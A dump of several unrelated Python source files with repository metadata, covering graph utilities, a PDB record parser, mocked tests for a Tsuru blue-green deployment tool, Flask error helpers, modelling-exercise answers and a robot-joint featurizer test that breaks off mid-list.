635e347d942612f6caa4e769a825bcfb26cf24ab
|
[
"Apache-2.0"
] | null | null | null |
graph/__init__.py
|
RobMcZag/python-algorithms3
|
635e347d942612f6caa4e769a825bcfb26cf24ab
|
[
"Apache-2.0"
] | null | null | null |
"""
Undirected graph data type and procedures for its manipulation.
"""
from graph.graph import Graph, DepthFirstSearch, BreadthFirstSearch, ConnectedComponents
__all__ = ['Graph', 'DepthFirstSearch', 'BreadthFirstSearch', 'ConnectedComponents']
| 27.666667
| 88
| 0.791165
| 22
| 249
| 8.772727
| 0.681818
| 0.217617
| 0.404145
| 0.601036
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.108434
| 249
| 8
| 89
| 31.125
| 0.869369
| 0.253012
| 0
| 0
| 0
| 0
| 0.327684
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 6
|
360115e8b3816b3fcbcc43eaf8ebd84bc9cd08f8
| 1,509
|
py
|
Python
|
sabueso/tools/file_pdb/parsers/format23.py
|
dprada/sabueso
|
14843cf3522b5b89db5b61c1541a7015f114dd53
|
[
"MIT"
] | null | null | null |
sabueso/tools/file_pdb/parsers/format23.py
|
dprada/sabueso
|
14843cf3522b5b89db5b61c1541a7015f114dd53
|
[
"MIT"
] | 2
|
2022-01-31T21:22:17.000Z
|
2022-02-04T20:20:12.000Z
|
sabueso/tools/file_pdb/parsers/format23.py
|
dprada/sabueso
|
14843cf3522b5b89db5b61c1541a7015f114dd53
|
[
"MIT"
] | 1
|
2021-07-20T15:01:14.000Z
|
2021-07-20T15:01:14.000Z
|
#https://www.wwpdb.org/documentation/file-format-content/format23/v2.3.html
def line_is_ATOM_record(line):
return line.startswith('ATOM ')
def line_is_HETATM_record(line):
return line.startswith('HETATM')
def get_fields_from_ATOM_record(record):
fields={}
fields['ATOM '] = record[0:6]
fields['serial'] = int(record[6:11])
fields['name'] = record[12:16]
fields['altLoc'] = record[16]
fields['resName'] = record[17:20]
fields['chainID'] = record[21]
fields['resSeq'] = int(record[22:26])
fields['iCode'] = record[26]
fields['x'] = float(record[30:38])
fields['y'] = float(record[38:46])
fields['z'] = float(record[46:54])
fields['occupancy'] = float(record[54:60])
fields['tempFactor'] = float(record[60:66])
fields['element'] = record[76:78]
fields['charge'] = float(record[78:80])
def get_fields_from_HETATM_record(record):
fields={}
fields['HETATM'] = record[0:6]
fields['serial'] = int(record[6:11])
fields['name'] = record[12:16]
fields['altLoc'] = record[16]
fields['resName'] = record[17:20]
fields['chainID'] = record[21]
fields['resSeq'] = int(record[22:26])
fields['iCode'] = record[26]
fields['x'] = float(record[30:38])
fields['y'] = float(record[38:46])
fields['z'] = float(record[46:54])
fields['occupancy'] = float(record[54:60])
fields['tempFactor'] = float(record[60:66])
fields['element'] = record[76:78]
fields['charge'] = float(record[78:80])
| 30.795918
| 75
| 0.627568
| 208
| 1,509
| 4.485577
| 0.278846
| 0.141479
| 0.019293
| 0.042872
| 0.78671
| 0.722401
| 0.722401
| 0.722401
| 0.722401
| 0.722401
| 0
| 0.084462
| 0.168323
| 1,509
| 48
| 76
| 31.4375
| 0.658964
| 0.049039
| 0
| 0.789474
| 0
| 0
| 0.122819
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.105263
| false
| 0
| 0
| 0.052632
| 0.157895
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
364b8b7dd56a34955652869162d906fe97b05151
| 22,017
|
py
|
Python
|
test/bluegreen_test.py
|
gabrielgruppelli/tsuru-bluegreen
|
37dc1afb58fdc11f9f4454649f1cc0ad5640d19e
|
[
"MIT"
] | null | null | null |
test/bluegreen_test.py
|
gabrielgruppelli/tsuru-bluegreen
|
37dc1afb58fdc11f9f4454649f1cc0ad5640d19e
|
[
"MIT"
] | null | null | null |
test/bluegreen_test.py
|
gabrielgruppelli/tsuru-bluegreen
|
37dc1afb58fdc11f9f4454649f1cc0ad5640d19e
|
[
"MIT"
] | null | null | null |
import unittest
from mock import MagicMock
from mock import Mock
from mock import patch
import httpretty
from bluegreen import BlueGreen
class TestBlueGreen(unittest.TestCase):
def setUp(self):
self.config = {
'name': 'test-app',
'deploy_dir': '.',
'retry_times': 3,
'retry_sleep': 0,
'hooks': {'before_pre' : 'echo test', 'after_swap' : 'undefined_command'},
'newrelic': {'api_key' : 'some-api-key', 'app_id' : '123'},
'grafana': {'endpoint' : 'http://tcp.logstash.example.com', 'index' : 'test-index'},
'webhook': {'endpoint': 'http://example.com', 'payload_extras': 'key1=value1&key2=value2'}
}
self.bg = BlueGreen('token', 'tsuruhost.com', self.config)
self.cnames = [u'cname1', u'cname2']
@httpretty.activate
def test_get_cname_returns_a_list_when_present(self):
httpretty.register_uri(httpretty.GET, 'http://tsuruhost.com/apps/xpto',
body='{"cname":["cname1", "cname2"]}')
self.assertEqual(self.bg.get_cname('xpto'), self.cnames)
@httpretty.activate
def test_get_cname_with_custom_port(self):
httpretty.register_uri(httpretty.GET, 'http://tsuruhost.com:8081/apps/xpto',
body='{"cname":["cname1", "cname2"]}')
self.bg = BlueGreen('token', 'tsuruhost.com:8081', self.config)
self.assertEqual(self.bg.get_cname('xpto'), self.cnames)
@httpretty.activate
def test_get_cname_with_http(self):
httpretty.register_uri(httpretty.GET, 'http://tsuruhost.com/apps/xpto',
body='{"cname":["cname1", "cname2"]}')
self.bg = BlueGreen('token', 'http://tsuruhost.com', self.config)
self.assertEqual(self.bg.get_cname('xpto'), self.cnames)
@httpretty.activate
def test_get_cname_with_http_custom_port(self):
httpretty.register_uri(httpretty.GET, 'http://tsuruhost.com:8080/apps/xpto',
body='{"cname":["cname1", "cname2"]}')
self.bg = BlueGreen('token', 'http://tsuruhost.com:8080', self.config)
self.assertEqual(self.bg.get_cname('xpto'), self.cnames)
@httpretty.activate
def test_get_cname_with_https(self):
httpretty.register_uri(httpretty.GET, 'https://tsuruhost.com/apps/xpto',
body='{"cname":["cname1", "cname2"]}')
self.bg = BlueGreen('token', 'https://tsuruhost.com', self.config)
self.assertEqual(self.bg.get_cname('xpto'), self.cnames)
@httpretty.activate
def test_get_cname_with_https_custom_port(self):
httpretty.register_uri(httpretty.GET, 'https://tsuruhost.com:8443/apps/xpto',
body='{"cname":["cname1", "cname2"]}')
self.bg = BlueGreen('token', 'https://tsuruhost.com:8443', self.config)
self.assertEqual(self.bg.get_cname('xpto'), self.cnames)
@httpretty.activate
def test_get_cname_returns_none_when_empty(self):
httpretty.register_uri(httpretty.GET, 'http://tsuruhost.com/apps/xpto',
body='{"cname":[]}')
self.assertIsNone(self.bg.get_cname('xpto'))
@httpretty.activate
def test_remove_cname_return_true_when_can_remove(self):
httpretty.register_uri(httpretty.DELETE, 'http://tsuruhost.com/apps/xpto/cname',
data='cname=cname1&cname=cname2',
status=200)
self.assertTrue(self.bg.remove_cname('xpto', self.cnames))
@httpretty.activate
def test_remove_cname_return_false_when_cant_remove(self):
httpretty.register_uri(httpretty.DELETE, 'http://tsuruhost.com/apps/xpto/cname',
data='cname=cname1&cname=cname2',
status=500)
self.assertFalse(self.bg.remove_cname('xpto', self.cnames))
@httpretty.activate
def test_set_cname_return_true_when_can_set(self):
httpretty.register_uri(httpretty.POST, 'http://tsuruhost.com/apps/xpto/cname',
data='cname=cname1&cname=cname2',
status=200)
self.assertTrue(self.bg.set_cname('xpto', self.cnames))
@httpretty.activate
def test_set_cname_return_false_when_cant_set(self):
httpretty.register_uri(httpretty.POST, 'http://tsuruhost.com/apps/xpto/cname',
data='cname=cname1&cname=cname2',
status=500)
self.assertFalse(self.bg.set_cname('xpto', self.cnames))
@httpretty.activate
def test_swap(self):
httpretty.register_uri(httpretty.POST, "http://tsuruhost.com/swap",
data="app1=app1&app2=app2&force=true&cnameOnly=true",
status=200)
self.assertTrue(self.bg.swap("app1", "app2"))
requests = httpretty.HTTPretty.latest_requests
self.assertEqual(len(requests), 1)
self.assertEqual({"app1": ["app1"], "app2": ["app2"], "force": ["true"], "cnameOnly": ["true"]}, requests[0].parsed_body)
@httpretty.activate
def test_swap_force_false(self):
httpretty.register_uri(httpretty.POST, "http://tsuruhost.com/swap",
data="app1=app1&app2=app2&force=false&cnameOnly=true",
status=200)
self.assertTrue(self.bg.swap("app1", "app2", False))
requests = httpretty.HTTPretty.latest_requests
self.assertEqual(len(requests), 1)
self.assertEqual({"app1": ["app1"], "app2": ["app2"], "force": ["false"], "cnameOnly": ["true"]}, requests[0].parsed_body)
@httpretty.activate
def test_env_set_return_true_when_can_set(self):
httpretty.register_uri(httpretty.POST, 'http://tsuruhost.com/apps/xpto/env?noRestart=true',
data='{"TAG":"tag_value"}',
status=200,
match_querystring=True)
self.assertTrue(self.bg.env_set('xpto', 'TAG', 'tag_value'))
@httpretty.activate
def test_env_set_return_false_when_cant_set(self):
httpretty.register_uri(httpretty.POST, 'http://tsuruhost.com/apps/xpto/env?noRestart=true',
data='{"TAG":"tag_value"}',
status=500,
match_querystring=True)
self.assertFalse(self.bg.env_set('xpto', 'TAG', 'tag_value'))
@httpretty.activate
def test_env_get_returns_a_value_when_present(self):
httpretty.register_uri(httpretty.GET, 'http://tsuruhost.com/apps/xpto/env',
data='["TAG"]',
body='[{"name":"TAG","public":true,"value":"1.0"}]')
self.assertEqual(self.bg.env_get('xpto', 'TAG'), '1.0')
@httpretty.activate
def test_env_get_returns_none_when_null(self):
httpretty.register_uri(httpretty.GET, 'http://tsuruhost.com/apps/xpto/env',
data='["TAG"]',
body='null')
self.assertIsNone(self.bg.env_get('xpto', 'TAG'))
@httpretty.activate
def test_env_get_returns_none_when_null(self):
httpretty.register_uri(httpretty.GET, 'http://tsuruhost.com/apps/xpto/env',
data='["TAG"]',
body='[]')
self.assertIsNone(self.bg.env_get('xpto', 'TAG'))
@httpretty.activate
def test_total_units_empty_without_units(self):
httpretty.register_uri(httpretty.GET, 'http://tsuruhost.com/apps/xpto',
body='{"units":[]}',
status=500)
self.assertEqual(self.bg.total_units('xpto'), {})
@httpretty.activate
def test_total_units_grouped_per_process_name(self):
httpretty.register_uri(httpretty.GET, 'http://tsuruhost.com/apps/xpto',
body='{"units":[{"ProcessName": "web"}, {"ProcessName": "resque"}, {"ProcessName": "web"}]}',
status=500)
self.assertEqual(self.bg.total_units('xpto'), {'web': 2, 'resque': 1})
@httpretty.activate
def test_remove_units_should_return_true_when_removes_web_units(self):
self.bg.total_units = Mock(side_effect=self.mock_total_units([{'web': 2}, {'web': 0}]))
httpretty.register_uri(httpretty.DELETE, 'http://tsuruhost.com/apps/xpto/units',
data='',
status=200)
self.assertTrue(self.bg.remove_units('xpto'))
self.assertEqual({"units": ["2"], "process": ["web"]}, httpretty.last_request().querystring)
@httpretty.activate
def test_remove_units_should_return_true_when_removes_web_and_resque_units(self):
self.bg.total_units = Mock(side_effect=self.mock_total_units([{'web': 4, 'resque': 2}, {'web': 0, 'resque': 2}, {'web': 0, 'resque': 0}]))
httpretty.register_uri(httpretty.DELETE, 'http://tsuruhost.com/apps/xpto/units',
data='',
status=200)
self.assertTrue(self.bg.remove_units('xpto'))
requests = httpretty.HTTPretty.latest_requests
self.assertEqual(len(requests), 2)
self.assertEqual({"units": ["4"], "process": ["web"]}, requests[0].querystring)
self.assertEqual({"units": ["2"], "process": ["resque"]}, requests[1].querystring)
@httpretty.activate
def test_remove_units_should_allow_keep_units(self):
self.bg.total_units = Mock(side_effect=self.mock_total_units([{'web': 4, 'resque': 2}, {'web': 1, 'resque': 2}, {'web': 1, 'resque': 1}]))
httpretty.register_uri(httpretty.DELETE, 'http://tsuruhost.com/apps/xpto/units',
data='',
status=200)
self.assertTrue(self.bg.remove_units('xpto', 1))
requests = httpretty.HTTPretty.latest_requests
self.assertEqual(len(requests), 2)
self.assertEqual({"units": ["3"], "process": ["web"]}, requests[0].querystring)
self.assertEqual({"units": ["1"], "process": ["resque"]}, requests[1].querystring)
@httpretty.activate
def test_remove_units_should_return_false_when_doesnt_remove(self):
self.bg.total_units = MagicMock(return_value={'web': 2})
httpretty.register_uri(httpretty.DELETE, 'http://tsuruhost.com/apps/xpto/lock',
data='',
status=400)
httpretty.register_uri(httpretty.DELETE, 'http://tsuruhost.com/apps/xpto/units',
data='',
status=500)
httpretty.register_uri(httpretty.GET, 'http://tsuruhost.com/events?target.value=xpto&running=true',
data='',
status=200)
self.assertFalse(self.bg.remove_units('xpto'))
@httpretty.activate
def test_remove_units_should_return_false_when_doesnt_remove_all_process_types(self):
self.bg.total_units = MagicMock(return_value={'web': 2, 'resque': 1})
httpretty.register_uri(httpretty.DELETE, 'http://tsuruhost.com/apps/xpto/lock',
data='',
status=400)
httpretty.register_uri(httpretty.DELETE, 'http://tsuruhost.com/apps/xpto/units',
data='',
responses=[
httpretty.Response(body='', status=500),
httpretty.Response(body='', status=500),
httpretty.Response(body='', status=500),
httpretty.Response(body='', status=500),
httpretty.Response(body='', status=200)
])
httpretty.register_uri(httpretty.GET, 'http://tsuruhost.com/events?target.value=xpto&running=true',
data='',
status=200)
self.assertFalse(self.bg.remove_units('xpto'))
requests = httpretty.HTTPretty.latest_requests
self.assertEqual(len(requests), 6)
@httpretty.activate
def test_remove_units_should_return_true_even_if_it_fails_at_firts_try(self):
self.bg.total_units = MagicMock(return_value={'web': 1})
httpretty.register_uri(httpretty.DELETE, 'http://tsuruhost.com/apps/xpto/units',
data='',
responses=[
httpretty.Response(body='', status=500),
httpretty.Response(body='', status=500),
httpretty.Response(body='', status=500),
httpretty.Response(body='', status=200)
])
httpretty.register_uri(httpretty.GET, 'http://tsuruhost.com/events?target.value=xpto&running=true',
data='',
status=200)
self.assertTrue(self.bg.remove_units('xpto'))
requests = httpretty.HTTPretty.latest_requests
self.assertEqual(len(requests), 5)
@httpretty.activate
def test_add_units_should_return_true_when_adds_web_units(self):
self.bg.total_units = MagicMock(side_effect=self.mock_total_units([{'web': 1}, {'web': 2}]))
httpretty.register_uri(httpretty.PUT, 'http://tsuruhost.com/apps/xpto/units',
data='',
status=200)
self.assertTrue(self.bg.add_units('xpto', {'web': 2}))
self.assertEqual({"units": ["1"], "process": ["web"]}, httpretty.last_request().querystring)
@httpretty.activate
def test_add_units_should_return_true_when_adds_web_and_resque_units(self):
self.bg.total_units = MagicMock(side_effect=self.mock_total_units([{'web': 2, 'resque': 1}, {'web': 5, 'resque': 1}, {'web': 5, 'resque': 2}]))
httpretty.register_uri(httpretty.PUT, 'http://tsuruhost.com/apps/xpto/units',
data='',
status=200)
self.assertTrue(self.bg.add_units('xpto', {'web': 5, 'resque': 2}))
requests = httpretty.HTTPretty.latest_requests
self.assertEqual(len(requests), 2)
self.assertEqual({"units": ["3"], "process": ["web"]}, requests[0].querystring)
self.assertEqual({"units": ["1"], "process": ["resque"]}, requests[1].querystring)
@httpretty.activate
def test_add_units_should_return_true_when_adds_only_web_units(self):
self.bg.total_units = MagicMock(side_effect=self.mock_total_units([{'web': 2, 'resque': 1}, {'web': 5, 'resque': 1}]))
httpretty.register_uri(httpretty.PUT, 'http://tsuruhost.com/apps/xpto/units',
data='',
status=200)
self.assertTrue(self.bg.add_units('xpto', {'web': 5, 'resque': 1}))
requests = httpretty.HTTPretty.latest_requests
self.assertEqual(len(requests), 1)
self.assertEqual({"units": ["3"], "process": ["web"]}, requests[0].querystring)
@httpretty.activate
def test_add_units_should_return_false_when_doesnt_add(self):
self.bg.total_units = MagicMock(return_value={'web': 2})
httpretty.register_uri(httpretty.PUT, 'http://tsuruhost.com/apps/xpto/units',
data='',
status=500)
self.assertFalse(self.bg.add_units('xpto', {'web': 3}))
@httpretty.activate
def test_remove_units_should_return_false_when_doesnt_add_all_process_types(self):
self.bg.total_units = MagicMock(return_value={'web': 2, 'resque': 1})
httpretty.register_uri(httpretty.PUT, 'http://tsuruhost.com/apps/xpto/units',
data='',
responses=[
httpretty.Response(body='', status=500),
httpretty.Response(body='', status=200)
])
self.assertFalse(self.bg.add_units('xpto', {'web': 3, 'resque': 2}))
requests = httpretty.HTTPretty.latest_requests
self.assertEqual(len(requests), 2)
@httpretty.activate
def test_notify_newrelic_when_config_defined(self):
httpretty.register_uri(httpretty.POST, 'http://api.newrelic.com/v2/applications/123/deployments.json',
data='deployment[application_id]=some-api-key&deployment[revision]=1.0',
content_type='application/x-www-form-urlencoded',
forcing_headers={
'X-Api-Key': 'some-api-key'
},
status=200)
self.assertTrue(self.bg.notify_newrelic('1.0'))
def test_dont_notify_newrelic_when_config_undefined(self):
self.bg.newrelic = {}
self.assertFalse(self.bg.notify_newrelic('1.0'))
@httpretty.activate
def test_dont_notify_newrelic_when_wrong_api_key(self):
httpretty.register_uri(httpretty.POST, 'http://api.newrelic.com/v2/applications/123/deployments.json',
data='deployment[application_id]=some-api-key&deployment[revision]=1.0',
status=403)
self.assertFalse(self.bg.notify_newrelic('1.0'))
@httpretty.activate
def test_dont_notify_newrelic_when_error(self):
httpretty.register_uri(httpretty.POST, 'http://api.newrelic.com/v2/applications/123/deployments.json',
data='deployment[application_id]=some-api-key&deployment[revision]=1.0',
status=500)
self.assertFalse(self.bg.notify_newrelic('1.0'))
@httpretty.activate
def test_notify_grafana_when_config_defined(self):
httpretty.register_uri(httpretty.POST, 'http://tcp.logstash.example.com',
data='teste',
content_type='application/json',
status=200)
self.assertTrue(self.bg.notify_grafana('test-blue','1.0'))
def test_dont_notify_grafana_when_config_undefined(self):
self.bg.grafana = {}
self.assertFalse(self.bg.notify_grafana('test-blue','1.0'))
@httpretty.activate
def test_dont_notify_grafana_when_error(self):
httpretty.register_uri(httpretty.POST, 'http://tcp.logstash.example.com',
data='test',
status=500)
self.assertFalse(self.bg.notify_grafana('test-blue','1.0'))
@httpretty.activate
def test_run_webhook_when_config_defined(self):
httpretty.register_uri(httpretty.POST, 'http://example.com/',
data='key1=value1&key2=value2&tag=1.0',
content_type='application/x-www-form-urlencoded',
status=200)
self.assertTrue(self.bg.run_webhook('1.0'))
def test_dont_run_webhook_when_config_undefined(self):
self.bg.webhook = {}
self.assertFalse(self.bg.run_webhook('1.0'))
@httpretty.activate
def test_dont_run_webhook_when_error(self):
httpretty.register_uri(httpretty.POST, 'http://example.com/',
data='key1=value1&key2=value2&tag=1.0',
status=500)
self.assertFalse(self.bg.run_webhook('1.0'))
def test_run_command_should_return_true_on_success(self):
self.assertTrue(self.bg.run_command('echo test'))
def test_run_command_should_return_false_on_error(self):
self.assertFalse(self.bg.run_command('cat undefined_file'))
def test_run_command_should_return_false_on_undefined_command(self):
self.assertFalse(self.bg.run_command('undefined_command'))
def test_run_command_should_accept_environment_variables(self):
self.assertTrue(self.bg.run_command('./test/env_test.sh', {'VAR': '0'}))
self.assertFalse(self.bg.run_command('./test/env_test.sh', {'VAR': '1'}))
def test_run_hook_should_return_true_on_successful_command(self):
self.assertTrue(self.bg.run_hook('before_pre'))
def test_run_hook_should_return_false_on_failing_command(self):
self.assertFalse(self.bg.run_hook('after_swap'))
def test_run_hook_should_return_true_on_undefined_hook(self):
self.assertTrue(self.bg.run_hook('after_pre'))
@patch('subprocess.Popen', return_value=Mock())
def test_deploy_pre_should_return_zero_when_success(self, subprocess_):
self.bg.remove_units = MagicMock()
self.bg.env_set = MagicMock()
self.bg.run_hook = MagicMock(return_value=True)
subprocess_.return_value.stdout.readline.return_value = ''
subprocess_.return_value.communicate = MagicMock()
subprocess_.return_value.returncode = 0
self.assertEqual(self.bg.deploy_pre('test-blue', 'master', True), 0)
@patch('subprocess.Popen', return_value=Mock())
def test_deploy_pre_should_return_non_zero_when_fails(self, subprocess_):
self.bg.remove_units = MagicMock()
self.bg.env_set = MagicMock()
self.bg.run_hook = MagicMock(return_value=True)
subprocess_.return_value.stdout.readline.return_value = ''
subprocess_.return_value.communicate = MagicMock()
subprocess_.return_value.returncode = 2
self.assertEqual(self.bg.deploy_pre('test-blue', 'master', True), 2)
def test_deploy_swap_should_return_zero_when_success(self):
self.bg.env_get = MagicMock(return_value=None)
self.bg.run_hook = MagicMock(return_value=True)
self.bg.add_units = MagicMock(return_value=True)
self.bg.total_units = MagicMock(return_value=3)
self.bg.swap = MagicMock(return_value=True)
self.bg.remove_units = MagicMock()
self.bg.notify_newrelic = MagicMock()
self.bg.notify_grafana = MagicMock()
self.bg.run_webhook = MagicMock()
self.assertEqual(self.bg.deploy_swap(['test-blue', 'test-green'], ['cname-blue', 'cname-green']), 0)
self.bg.swap.assert_called_once_with('test-blue', 'test-green', False)
def test_deploy_swap_should_return_non_zero_when_fails(self):
self.bg.env_get = MagicMock(return_value=None)
self.bg.run_hook = MagicMock(return_value=True)
self.bg.add_units = MagicMock(return_value=True)
self.bg.total_units = MagicMock(return_value=3)
self.bg.swap = MagicMock(return_value=False)
self.bg.remove_units = MagicMock()
self.bg.notify_newrelic = MagicMock()
self.bg.notify_grafana = MagicMock()
self.bg.run_webhook = MagicMock()
self.assertEqual(self.bg.deploy_swap(['test-blue', 'test-green'], ['cname-blue', 'cname-green']), 2)
self.bg.swap.assert_called_once_with('test-blue', 'test-green', False)
def mock_total_units(self, values):
calls = {'count': 0}
def total_units(*args, **kwargs):
result = values[calls['count']]
calls['count'] += 1
return result
return total_units
| 42.668605
| 147
| 0.634737
| 2,634
| 22,017
| 5.082005
| 0.081625
| 0.044375
| 0.064246
| 0.093157
| 0.918422
| 0.895936
| 0.862095
| 0.82407
| 0.796877
| 0.750486
| 0
| 0.019455
| 0.217923
| 22,017
| 515
| 148
| 42.751456
| 0.757942
| 0
| 0
| 0.60101
| 0
| 0
| 0.178544
| 0.027388
| 0
| 0
| 0
| 0
| 0.189394
| 1
| 0.138889
| false
| 0
| 0.015152
| 0
| 0.161616
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
3658b84b7ca828791f8317a9d493aa9b52f2f404
| 37
|
py
|
Python
|
python/packages/isce3/cuda/core/__init__.py
|
isce-framework/isce3
|
59cdd2c659a4879367db5537604b0ca93d26b372
|
[
"Apache-2.0"
] | 64
|
2019-08-06T19:22:22.000Z
|
2022-03-20T17:11:46.000Z
|
python/packages/isce3/cuda/core/__init__.py
|
isce-framework/isce3
|
59cdd2c659a4879367db5537604b0ca93d26b372
|
[
"Apache-2.0"
] | 8
|
2020-09-01T22:46:53.000Z
|
2021-11-04T00:05:28.000Z
|
python/packages/isce3/cuda/core/__init__.py
|
isce-framework/isce3
|
59cdd2c659a4879367db5537604b0ca93d26b372
|
[
"Apache-2.0"
] | 29
|
2019-08-05T21:40:55.000Z
|
2022-03-23T00:17:03.000Z
|
from pybind_isce3.cuda.core import *
| 18.5
| 36
| 0.810811
| 6
| 37
| 4.833333
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.030303
| 0.108108
| 37
| 1
| 37
| 37
| 0.848485
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
368ad2ede3d2996b41b64392edb58c0883db241f
| 156
|
py
|
Python
|
flask_app/errors.py
|
kentblock/golf-api
|
ad66d8f190b683ec710a9bd84122031e28c19817
|
[
"MIT"
] | null | null | null |
flask_app/errors.py
|
kentblock/golf-api
|
ad66d8f190b683ec710a9bd84122031e28c19817
|
[
"MIT"
] | null | null | null |
flask_app/errors.py
|
kentblock/golf-api
|
ad66d8f190b683ec710a9bd84122031e28c19817
|
[
"MIT"
] | null | null | null |
from flask import jsonify
def bad_request(msg):
return msg, 400
def not_found(msg):
return msg, 404
def not_authorized(msg):
return msg, 401
| 14.181818
| 25
| 0.705128
| 25
| 156
| 4.28
| 0.6
| 0.252336
| 0.336449
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.07377
| 0.217949
| 156
| 11
| 26
| 14.181818
| 0.803279
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.428571
| false
| 0
| 0.142857
| 0.428571
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 6
|
36d9b547f8b21b7df00fcf2c749d5360392f967c
| 1,579
|
py
|
Python
|
K_Mathematical_Modeling/Section 4/solutionExercise1.py
|
oercompbiomed/CBM101
|
20010dcb99fbf218c4789eb5918dcff8ceb94898
|
[
"MIT"
] | 7
|
2019-07-03T07:41:55.000Z
|
2022-02-06T20:25:37.000Z
|
K_Mathematical_Modeling/Section 4/solutionExercise1.py
|
oercompbiomed/CBM101
|
20010dcb99fbf218c4789eb5918dcff8ceb94898
|
[
"MIT"
] | 9
|
2019-03-14T15:15:09.000Z
|
2019-08-01T14:18:21.000Z
|
K_Mathematical_Modeling/Section 4/solutionExercise1.py
|
oercompbiomed/CBM101
|
20010dcb99fbf218c4789eb5918dcff8ceb94898
|
[
"MIT"
] | 11
|
2019-03-12T10:43:11.000Z
|
2021-10-05T12:15:00.000Z
|
print("The variable Pp/Ptot, i.e. the fraction of paused polymerases, seems to provide the best contrast between its minimal and maximal values as K_3 varies, regardless of the values of K_1 and K_2. In this example, it is not very surprising. Sometimes it is more difficult to find which model output is the most sensitive to a given parameter. ")
print(" The sensitivity is optimal for low values of K_3, i.e. K_3<K_1*K_2, where the slope of the curve Pp/Ptot=function(K_3) is the steepest.")
print(" To find out whether Pp/Ptot is sensitive to K_1 and or K_2, we need to give a value to K_3 and plot as a function of the other variables. ")
print("Starting with low K_3=0.3, we find that Pp is sensitive to K_2 mostly for K_2 lower than K_3, for larger values it becomes a flat curve. This remains true for larger K_3. And this is even more true for Pp/Ptot as a function of K_1, where the curve is flat for almost the entire range of K_1, regardless of the values of K_2 and K_3.")
print("")
print("So in summary, to measure differences across the genes in the pausing rate, we would need to 1) measure the fraction of paused polymerase complexes Pp/Ptot, and 2) try to work in experimental conditions where the other rates are as large as possible, where their influence on Pp/Ptot=function(K_3) is minimal. Maximizing K_1 could for instance be achieved by stabilizing the polymerase on DNA, which would reduce the k_off rate; maximizing K_2 could be achieved by selecting genes with low mRNA transcription rate, indicative in this model a low termination rate.")
| 175.444444
| 573
| 0.777074
| 309
| 1,579
| 3.893204
| 0.391586
| 0.016625
| 0.022444
| 0.031588
| 0.069825
| 0.069825
| 0
| 0
| 0
| 0
| 0
| 0.020753
| 0.176061
| 1,579
| 8
| 574
| 197.375
| 0.90392
| 0
| 0
| 0
| 0
| 0.833333
| 0.961759
| 0.026769
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 6
|
36dc0400013eb30fc2151f2ed3dbc2f6483c9bfc
| 3,500
|
py
|
Python
|
tests/test_features_joints.py
|
facebookresearch/bipedal-skills
|
edd424a8779e3a0121fb995cad00839d8226cf46
|
[
"MIT"
] | 6
|
2021-11-05T16:57:58.000Z
|
2022-03-16T10:34:46.000Z
|
tests/test_features_joints.py
|
facebookresearch/bipedal-skills
|
edd424a8779e3a0121fb995cad00839d8226cf46
|
[
"MIT"
] | null | null | null |
tests/test_features_joints.py
|
facebookresearch/bipedal-skills
|
edd424a8779e3a0121fb995cad00839d8226cf46
|
[
"MIT"
] | 1
|
2021-11-05T16:57:47.000Z
|
2021-11-05T16:57:47.000Z
|
# Copyright (c) 2021-present, Facebook, Inc.
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
#
import gym
import pytest
import bisk
from bisk.features.joints import JointsFeaturizer
from bisk.single_robot import BiskSingleRobotEnv
def test_names_walker():
env = BiskSingleRobotEnv('walker')
ftzr = JointsFeaturizer(env.p, 'walker', 'robot')
assert ftzr.observation_space.shape == (60,)
assert ftzr().shape == ftzr.observation_space.shape
assert ftzr.feature_names() == [
'rootz:p',
'rootx:p',
'rooty:p',
'right_hip:p',
'right_knee:p',
'right_ankle:p',
'left_hip:p',
'left_knee:p',
'left_ankle:p',
'rootz:v',
'rootx:v',
'rooty:v',
'right_hip:v',
'right_knee:v',
'right_ankle:v',
'left_hip:v',
'left_knee:v',
'left_ankle:v',
'torso:crx',
